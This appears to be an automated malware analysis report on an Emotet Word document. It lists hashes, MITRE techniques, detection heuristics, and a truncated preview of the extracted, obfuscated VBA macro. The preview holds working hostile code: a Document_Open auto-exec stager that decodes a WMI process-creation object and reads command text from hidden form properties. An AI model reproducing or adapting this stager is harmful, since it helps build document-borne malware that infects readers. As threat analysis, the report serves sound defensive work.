Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6bc7d64198be33a9…

MALICIOUS

Office (OLE)

227.9 KB Created: 2020-08-17 06:47:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: cf173643ee5a043286d6cea18e6fab62 SHA-1: c988aad6285509c1561500eec4ab37fe575b9064 SHA-256: 6bc7d64198be33a9e35c09e4f2be9e1d667192a4c41b838878fdb52e00515d45
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection explicitly names Emotet. The macro's obfuscated nature and use of CreateObject suggest it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9369779-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9369779-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10331 bytes
SHA-256: 11f09278a10dbeb8c3203c832ccf4328bff618ca7278c24598ef4be14206aaf2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "I9i2h8j9dskil"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Sqe5e6e3ig2r_424rj.Fq6mrihs69kl5
End Sub


Attribute VB_Name = "Sqe5e6e3ig2r_424rj"
Attribute VB_Base = "0{8F10FB9A-1712-48E7-B86F-31021C25B161}{560312DE-CD1F-4EF0-84D6-25761BB89137}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Fq6mrihs69kl5()
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Wypthc02toeptbb6z_ = Sqe5e6e3ig2r_424rj.HelpContextId + 100
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Nwztskshg23dl8 = ChrW(Wypthc02toeptbb6z_ + (100 + 35) / 9)
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Gp8tdqay8ly0 = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Nwztskshg23dl8 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Sqe5e6e3ig2r_424rj.Nsd1wcn6zqcd9e + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Qd2m1aeerbwpyii = Qaih2p5q43tsk9(Gp8tdqay8ly0)
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Set D3nmjncdm_3i5v = CreateObject(Qd2m1aeerbwpyii)
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Shj6hjgk403pqwwi7 = Sqe5e6e3ig2r_424rj.Qm3ieezyr608w6wrc5.ControlTipText
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End
... (truncated)

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